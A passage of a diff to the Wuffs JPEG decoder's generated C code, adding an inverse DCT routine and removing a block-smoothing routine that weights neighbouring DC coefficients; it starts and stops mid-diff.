++ uint32_t v_ci51 = 0; ++ uint32_t v_ci53 = 0; ++ uint32_t v_ci71 = 0; ++ uint32_t v_ci73 = 0; ++ uint32_t v_cj = 0; ++ uint32_t v_ck1 = 0; ++ uint32_t v_ck3 = 0; ++ uint32_t v_ck5 = 0; ++ uint32_t v_ck7 = 0; ++ uint32_t v_cl51 = 0; ++ uint32_t v_cl73 = 0; ++ uint32_t v_in0 = 0; ++ uint32_t v_in2 = 0; ++ uint32_t v_in4 = 0; ++ uint32_t v_in6 = 0; ++ uint32_t v_ra = 0; ++ uint32_t v_rb2 = 0; ++ uint32_t v_rb6 = 0; ++ uint32_t v_rcp = 0; ++ uint32_t v_rcm = 0; ++ uint32_t v_rd0 = 0; ++ uint32_t v_rd1 = 0; ++ uint32_t v_rd2 = 0; ++ uint32_t v_rd3 = 0; ++ uint32_t v_in1 = 0; ++ uint32_t v_in3 = 0; ++ uint32_t v_in5 = 0; ++ uint32_t v_in7 = 0; ++ uint32_t v_ri51 = 0; ++ uint32_t v_ri53 = 0; ++ uint32_t v_ri71 = 0; ++ uint32_t v_ri73 = 0; ++ uint32_t v_rj = 0; ++ uint32_t v_rk1 = 0; ++ uint32_t v_rk3 = 0; ++ uint32_t v_rk5 = 0; ++ uint32_t v_rk7 = 0; ++ uint32_t v_rl51 = 0; ++ uint32_t v_rl73 = 0; ++ uint32_t v_intermediate[64] = {0}; + +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ if (8u > a_dst_stride) { ++ return wuffs_base__make_empty_struct(); + } +- v_dy = 0u; +- while (v_dy < 5u) { +- v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); +- v_dx = 0u; +- while (v_dx < 5u) { +- v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_dx += 1u; +- } +- v_dy += 1u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][8u] | ++ self->private_data.f_mcu_blocks[0u][16u] | ++ self->private_data.f_mcu_blocks[0u][24u] | ++ self->private_data.f_mcu_blocks[0u][32u] | ++ self->private_data.f_mcu_blocks[0u][40u] | ++ self->private_data.f_mcu_blocks[0u][48u] | ++ self->private_data.f_mcu_blocks[0u][56u])) { ++ v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); ++ v_intermediate[8u] = v_intermediate[0u]; ++ v_intermediate[16u] = v_intermediate[0u]; ++ v_intermediate[24u] = v_intermediate[0u]; ++ v_intermediate[32u] = v_intermediate[0u]; ++ v_intermediate[40u] = v_intermediate[0u]; ++ v_intermediate[48u] = v_intermediate[0u]; ++ v_intermediate[56u] = v_intermediate[0u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- v_q = self->private_impl.f_components_tq[a_csel]; +- v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); +- if (v_q_00 <= 0u) { +- return wuffs_base__make_empty_struct(); ++ if (0u == (self->private_data.f_mcu_blocks[0u][9u] | ++ self->private_data.f_mcu_blocks[0u][17u] | ++ self->private_data.f_mcu_blocks[0u][25u] | ++ self->private_data.f_mcu_blocks[0u][33u] | ++ self->private_data.f_mcu_blocks[0u][41u] | ++ self->private_data.f_mcu_blocks[0u][49u] | ++ self->private_data.f_mcu_blocks[0u][57u])) { ++ v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); ++ v_intermediate[9u] = v_intermediate[1u]; ++ v_intermediate[17u] = v_intermediate[1u]; ++ v_intermediate[25u] = v_intermediate[1u]; ++ v_intermediate[33u] = v_intermediate[1u]; ++ v_intermediate[41u] = v_intermediate[1u]; ++ v_intermediate[49u] = v_intermediate[1u]; ++ v_intermediate[57u] = v_intermediate[1u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[1u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- if (0u != (16u & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & +- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); +- } +- self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * 